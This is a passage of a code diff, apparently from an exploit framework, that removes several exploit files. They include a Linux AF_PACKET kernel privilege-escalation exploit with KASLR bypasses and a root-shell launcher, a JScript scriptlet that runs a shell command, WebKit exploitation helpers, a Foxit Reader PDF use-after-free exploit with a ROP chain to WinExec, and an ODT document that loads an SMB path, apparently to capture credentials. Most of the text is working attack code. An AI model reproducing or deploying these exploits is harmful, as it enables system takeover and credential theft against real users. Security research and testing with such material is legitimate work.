struct utsname u;
|
||||
char kernel_version[512];
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
if (strstr(u.machine, "64") == NULL) {
|
||||
dprintf("[-] system is not using a 64-bit kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "-Ubuntu") == NULL) {
|
||||
dprintf("[-] system is not using an Ubuntu kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *u_ver = strtok(u.version, " ");
|
||||
snprintf(kernel_version, 512, "%s %s", u.release, u_ver);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
bool mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (end = start; substr[end] != '-'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
unsigned long addr = 0;
|
||||
char* syslog;
|
||||
int size;
|
||||
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
if (!mmap_syslog(&syslog, &size))
|
||||
return 0;
|
||||
|
||||
if (strstr(kernels[kernel].kernel_version, "14.04.1") != NULL)
|
||||
addr = get_kernel_addr_trusty(syslog, size);
|
||||
else
|
||||
addr = get_kernel_addr_xenial(syslog, size);
|
||||
|
||||
if (!addr)
|
||||
dprintf("[-] kernel base not found in syslog\n");
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
|
||||
struct utsname u;
|
||||
u = get_kernel_version();
|
||||
strcat(path, u.release);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize()/sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > 0xffffffff00000000) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void launch_rootshell(void)
|
||||
{
|
||||
int fd;
|
||||
char buf[256];
|
||||
struct stat s;
|
||||
|
||||
fd = open(SYSCTL_PATH, O_WRONLY);
|
||||
|
||||
if(fd == -1) {
|
||||
dprintf("[-] could not open %s\n", SYSCTL_PATH);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
memset(buf, '\x00', 256);
|
||||
|
||||
readlink("/proc/self/exe", (char *)&buf, 256);
|
||||
|
||||
write(fd, buf, strlen(buf)+1);
|
||||
|
||||
socket(AF_INET, SOCK_STREAM, 132);
|
||||
|
||||
if (stat(buf,&s) == 0 && s.st_uid == 0) {
|
||||
dprintf("[+] binary executed by kernel, launching rootshell\n");
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
write(fd, "/sbin/modprobe", 15);
|
||||
close(fd);
|
||||
execl(buf, buf, NULL);
|
||||
} else {
|
||||
dprintf("[-] could not create rootshell\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWNET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int status, pid;
|
||||
struct utsname u;
|
||||
char buf[512], *f;
|
||||
|
||||
if (getuid() == 0 && geteuid() == 0) {
|
||||
chown("/proc/self/exe", 0, 0);
|
||||
chmod("/proc/self/exe", 06755);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if (getuid() != 0 && geteuid() == 0) {
|
||||
setresuid(0, 0, 0);
|
||||
setresgid(0, 0, 0);
|
||||
execl("/bin/bash", "bash", "-p", NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
dprintf("linux AF_PACKET race condition exploit by rebel\n");
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] checking hardware\n");
|
||||
check_procs();
|
||||
dprintf("[~] done, hardware looks good\n");
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_versions();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[~] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] proc_dostring: %lx\n", PROC_DOSTRING);
|
||||
dprintf("[.] modprobe_path: %lx\n", MODPROBE_PATH);
|
||||
dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE);
|
||||
dprintf("[.] set_memory_rw: %lx\n", SET_MEMORY_RW);
|
||||
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
wrapper();
|
||||
exit(0);
|
||||
}
|
||||
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
launch_rootshell();
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -1,16 +0,0 @@
|
||||
<?xml version='1.0'?>
|
||||
<package>
|
||||
<component id='giffile'>
|
||||
<registration
|
||||
description='Dummy'
|
||||
progid='giffile'
|
||||
version='1.00'
|
||||
remotable='True'>
|
||||
</registration>
|
||||
<script language='JScript'>
|
||||
<![CDATA[
|
||||
var q = new ActiveXObject('Wscript.Shell').Run("SCRIPTED_COMMAND");
|
||||
]]>
|
||||
</script>
|
||||
</component>
|
||||
</package>
|
||||
@@ -1,182 +0,0 @@
|
||||
//
|
||||
// Tiny module that provides big (64bit) integers.
|
||||
//
|
||||
// Copyright (c) 2016 Samuel Groß
|
||||
//
|
||||
// Requires utils.js
|
||||
//
|
||||
|
||||
// Datatype to represent 64-bit integers.
|
||||
//
|
||||
// Internally, the integer is stored as a Uint8Array in little endian byte order.
|
||||
function Int64(v) {
|
||||
// The underlying byte array.
|
||||
var bytes = new Uint8Array(8);
|
||||
|
||||
switch (typeof v) {
|
||||
case 'number':
|
||||
v = '0x' + Math.floor(v).toString(16);
|
||||
case 'string':
|
||||
if (v.startsWith('0x'))
|
||||
v = v.substr(2);
|
||||
if (v.length % 2 == 1)
|
||||
v = '0' + v;
|
||||
|
||||
var bigEndian = unhexlify(v, 8);
|
||||
bytes.set(Array.from(bigEndian).reverse());
|
||||
break;
|
||||
case 'object':
|
||||
if (v instanceof Int64) {
|
||||
bytes.set(v.bytes());
|
||||
} else {
|
||||
if (v.length != 8)
|
||||
throw TypeError("Array must have excactly 8 elements.");
|
||||
bytes.set(v);
|
||||
}
|
||||
break;
|
||||
case 'undefined':
|
||||
break;
|
||||
default:
|
||||
throw TypeError("Int64 constructor requires an argument.");
|
||||
}
|
||||
|
||||
// Return a double whith the same underlying bit representation.
|
||||
this.asDouble = function() {
|
||||
// Check for NaN
|
||||
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
|
||||
throw new RangeError("Integer can not be represented by a double");
|
||||
|
||||
return Struct.unpack(Struct.float64, bytes);
|
||||
};
|
||||
|
||||
// Return a javascript value with the same underlying bit representation.
|
||||
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
|
||||
// due to double conversion constraints.
|
||||
this.asJSValue = function() {
|
||||
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
|
||||
throw new RangeError("Integer can not be represented by a JSValue");
|
||||
|
||||
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
|
||||
this.assignSub(this, 0x1000000000000);
|
||||
var res = Struct.unpack(Struct.float64, bytes);
|
||||
this.assignAdd(this, 0x1000000000000);
|
||||
|
||||
return res;
|
||||
};
|
||||
|
||||
// Return the underlying bytes of this number as array.
|
||||
this.bytes = function() {
|
||||
return Array.from(bytes);
|
||||
};
|
||||
|
||||
// Return the byte at the given index.
|
||||
this.byteAt = function(i) {
|
||||
return bytes[i];
|
||||
};
|
||||
|
||||
// Return the value of this number as unsigned hex string.
|
||||
this.toString = function() {
|
||||
return '0x' + hexlify(Array.from(bytes).reverse());
|
||||
};
|
||||
|
||||
// Basic arithmetic.
|
||||
// These functions assign the result of the computation to their 'this' object.
|
||||
|
||||
// Decorator for Int64 instance operations. Takes care
|
||||
// of converting arguments to Int64 instances if required.
|
||||
function operation(f, nargs) {
|
||||
return function() {
|
||||
if (arguments.length != nargs)
|
||||
throw Error("Not enough arguments for function " + f.name);
|
||||
for (var i = 0; i < arguments.length; i++)
|
||||
if (!(arguments[i] instanceof Int64))
|
||||
arguments[i] = new Int64(arguments[i]);
|
||||
return f.apply(this, arguments);
|
||||
};
|
||||
}
|
||||
|
||||
// this = -n (two's complement)
|
||||
this.assignNeg = operation(function neg(n) {
|
||||
for (var i = 0; i < 8; i++)
|
||||
bytes[i] = ~n.byteAt(i);
|
||||
|
||||
return this.assignAdd(this, Int64.One);
|
||||
}, 1);
|
||||
|
||||
// this = a + b
|
||||
this.assignAdd = operation(function add(a, b) {
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = a.byteAt(i) + b.byteAt(i) + carry;
|
||||
carry = cur > 0xff | 0;
|
||||
bytes[i] = cur;
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a - b
|
||||
this.assignSub = operation(function sub(a, b) {
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = a.byteAt(i) - b.byteAt(i) - carry;
|
||||
carry = cur < 0 | 0;
|
||||
bytes[i] = cur;
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a ^ b
|
||||
this.assignXor = operation(function sub(a, b) {
|
||||
for (var i = 0; i < 8; i++) {
|
||||
bytes[i] = a.byteAt(i) ^ b.byteAt(i);
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a & b
|
||||
this.assignAnd = operation(function sub(a, b) {
|
||||
for (var i = 0; i < 8; i++) {
|
||||
bytes[i] = a.byteAt(i) & b.byteAt(i);
|
||||
}
|
||||
return this;
|
||||
}, 2)
|
||||
}
|
||||
|
||||
// Constructs a new Int64 instance with the same bit representation as the provided double.
|
||||
Int64.fromDouble = function(d) {
|
||||
var bytes = Struct.pack(Struct.float64, d);
|
||||
return new Int64(bytes);
|
||||
};
|
||||
|
||||
// Convenience functions. These allocate a new Int64 to hold the result.
|
||||
|
||||
// Return -n (two's complement)
|
||||
function Neg(n) {
|
||||
return (new Int64()).assignNeg(n);
|
||||
}
|
||||
|
||||
// Return a + b
|
||||
function Add(a, b) {
|
||||
return (new Int64()).assignAdd(a, b);
|
||||
}
|
||||
|
||||
// Return a - b
|
||||
function Sub(a, b) {
|
||||
return (new Int64()).assignSub(a, b);
|
||||
}
|
||||
|
||||
// Return a ^ b
|
||||
function Xor(a, b) {
|
||||
return (new Int64()).assignXor(a, b);
|
||||
}
|
||||
|
||||
// Return a & b
|
||||
function And(a, b) {
|
||||
return (new Int64()).assignAnd(a, b);
|
||||
}
|
||||
|
||||
// Some commonly used numbers.
|
||||
Int64.Zero = new Int64(0);
|
||||
Int64.One = new Int64(1);
|
||||
|
||||
// That's all the arithmetic we need for exploiting WebKit.. :)
|
||||
Binary file not shown.
@@ -1,78 +0,0 @@
|
||||
//
|
||||
// Utility functions.
|
||||
//
|
||||
// Copyright (c) 2016 Samuel Groß
|
||||
//
|
||||
|
||||
// Return the hexadecimal representation of the given byte.
|
||||
function hex(b) {
|
||||
return ('0' + b.toString(16)).substr(-2);
|
||||
}
|
||||
|
||||
// Return the hexadecimal representation of the given byte array.
|
||||
function hexlify(bytes) {
|
||||
var res = [];
|
||||
for (var i = 0; i < bytes.length; i++)
|
||||
res.push(hex(bytes[i]));
|
||||
|
||||
return res.join('');
|
||||
}
|
||||
|
||||
// Return the binary data represented by the given hexdecimal string.
|
||||
function unhexlify(hexstr) {
|
||||
if (hexstr.length % 2 == 1)
|
||||
throw new TypeError("Invalid hex string");
|
||||
|
||||
var bytes = new Uint8Array(hexstr.length / 2);
|
||||
for (var i = 0; i < hexstr.length; i += 2)
|
||||
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
|
||||
|
||||
return bytes;
|
||||
}
|
||||
|
||||
function hexdump(data) {
|
||||
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
|
||||
data = Array.from(data);
|
||||
|
||||
var lines = [];
|
||||
for (var i = 0; i < data.length; i += 16) {
|
||||
var chunk = data.slice(i, i+16);
|
||||
var parts = chunk.map(hex);
|
||||
if (parts.length > 8)
|
||||
parts.splice(8, 0, ' ');
|
||||
lines.push(parts.join(' '));
|
||||
}
|
||||
|
||||
return lines.join('\n');
|
||||
}
|
||||
|
||||
// Simplified version of the similarly named python module.
|
||||
var Struct = (function() {
|
||||
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
|
||||
var buffer = new ArrayBuffer(8);
|
||||
var byteView = new Uint8Array(buffer);
|
||||
var uint32View = new Uint32Array(buffer);
|
||||
var float64View = new Float64Array(buffer);
|
||||
|
||||
return {
|
||||
pack: function(type, value) {
|
||||
var view = type; // See below
|
||||
view[0] = value;
|
||||
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
|
||||
},
|
||||
|
||||
unpack: function(type, bytes) {
|
||||
if (bytes.length !== type.BYTES_PER_ELEMENT)
|
||||
throw Error("Invalid bytearray");
|
||||
|
||||
var view = type; // See below
|
||||
byteView.set(bytes);
|
||||
return view[0];
|
||||
},
|
||||
|
||||
// Available types.
|
||||
int8: byteView,
|
||||
int32: uint32View,
|
||||
float64: float64View
|
||||
};
|
||||
})();
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,125 +0,0 @@
|
||||
%PDF
|
||||
1 0 obj
|
||||
<</Pages 1 0 R /OpenAction 2 0 R>>
|
||||
2 0 obj
|
||||
<</S /JavaScript /JS (
|
||||
|
||||
var heap_ptr = 0;
|
||||
var foxit_base = 0;
|
||||
var pwn_array = [];
|
||||
|
||||
function prepare_heap(size){
|
||||
var arr = new Array(size);
|
||||
for(var i = 0; i < size; i++){
|
||||
arr[i] = this.addAnnot({type: "Text"});;
|
||||
if (typeof arr[i] == "object"){
|
||||
arr[i].destroy();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function gc() {
|
||||
const maxMallocBytes = 128 * 0x100000;
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var x = new ArrayBuffer(maxMallocBytes);
|
||||
}
|
||||
}
|
||||
|
||||
function alloc_at_leak(){
|
||||
for (var i = 0; i < 0x64; i++){
|
||||
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
|
||||
}
|
||||
}
|
||||
|
||||
function control_memory(){
|
||||
for (var i = 0; i < 0x64; i++){
|
||||
for (var j = 0; j < pwn_array[i].length; j++){
|
||||
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function leak_vtable(){
|
||||
var a = this.addAnnot({type: "Text"});
|
||||
|
||||
a.destroy();
|
||||
gc();
|
||||
|
||||
prepare_heap(0x400);
|
||||
var test = new ArrayBuffer(0x60);
|
||||
var stolen = new Int32Array(test);
|
||||
|
||||
var leaked = stolen[0] & 0xffff0000;
|
||||
foxit_base = leaked - 0x01f50000;
|
||||
}
|
||||
|
||||
function leak_heap_chunk(){
|
||||
var a = this.addAnnot({type: "Text"});
|
||||
a.destroy();
|
||||
prepare_heap(0x400);
|
||||
|
||||
var test = new ArrayBuffer(0x60);
|
||||
var stolen = new Int32Array(test);
|
||||
|
||||
alloc_at_leak();
|
||||
heap_ptr = stolen[1];
|
||||
}
|
||||
|
||||
function reclaim(){
|
||||
var arr = new Array(0x10);
|
||||
for (var i = 0; i < arr.length; i++) {
|
||||
arr[i] = new ArrayBuffer(0x60);
|
||||
var rop = new Int32Array(arr[i]);
|
||||
|
||||
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
|
||||
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
|
||||
rop[0x02] = 0x72727272; // junk
|
||||
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
|
||||
rop[0x04] = 0xffffffff; // ret of WinExec
|
||||
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
|
||||
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
|
||||
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
|
||||
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
|
||||
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
|
||||
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
|
||||
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
|
||||
<%= rop %>
|
||||
rop[0x17] = 0x00000000; // adios, amigo
|
||||
}
|
||||
}
|
||||
|
||||
function trigger_uaf(){
|
||||
var that = this;
|
||||
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
|
||||
var arr = [1];
|
||||
Object.defineProperties(arr,{
|
||||
"0":{
|
||||
get: function () {
|
||||
|
||||
that.getAnnot(0, "uaf").destroy();
|
||||
|
||||
reclaim();
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
a.point = arr;
|
||||
}
|
||||
|
||||
function main(){
|
||||
leak_heap_chunk();
|
||||
leak_vtable();
|
||||
control_memory();
|
||||
trigger_uaf();
|
||||
}
|
||||
|
||||
if (app.platform == "WIN"){
|
||||
if (app.isFoxit == "Foxit Reader"){
|
||||
if (app.appFoxitVersion == "9.0.1.1049"){
|
||||
main();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
)>> trailer <</Root 1 0 R>>
|
||||
@@ -1,2 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<office:document-content xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2"><office:scripts/><office:font-face-decls><style:font-face style:name="Lucida Sans1" svg:font-family="'Lucida Sans'" style:font-family-generic="swiss"/><style:font-face style:name="Liberation Serif" svg:font-family="'Liberation Serif'" style:font-family-generic="roman" style:font-pitch="variable"/><style:font-face style:name="Liberation Sans" svg:font-family="'Liberation Sans'" style:font-family-generic="swiss" style:font-pitch="variable"/><style:font-face style:name="Lucida Sans" svg:font-family="'Lucida Sans'" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="Microsoft YaHei" svg:font-family="'Microsoft YaHei'" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="SimSun" svg:font-family="SimSun" style:font-family-generic="system" style:font-pitch="variable"/></office:font-face-decls><office:automatic-styles><style:style style:name="fr1" style:family="graphic" style:parent-style-name="OLE"><style:graphic-properties style:horizontal-pos="center" style:horizontal-rel="paragraph" draw:ole-draw-aspect="1"/></style:style></office:automatic-styles><office:body><office:text><text:sequence-decls><text:sequence-decl text:display-outline-level="0" text:name="Illustration"/><text:sequence-decl text:display-outline-level="0" text:name="Table"/><text:sequence-decl text:display-outline-level="0" text:name="Text"/><text:sequence-decl text:display-outline-level="0" text:name="Drawing"/></text:sequence-decls><text:p text:style-name="Standard"/><text:p text:style-name="Standard"><draw:frame draw:style-name="fr1" draw:name="Object1" text:anchor-type="paragraph" svg:width="14.101cm" svg:height="9.999cm" draw:z-index="0"><draw:object xlink:href="file://192.168.1.25/test.jpg" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/><draw:image xlink:href="./ObjectReplacements/Object 1" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/></draw:frame></text:p></office:text></office:body></office:document-content>
|
||||
@@ -1,18 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
|
||||
<rdf:Description rdf:about="styles.xml">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#StylesFile"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="styles.xml"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="content.xml">
|
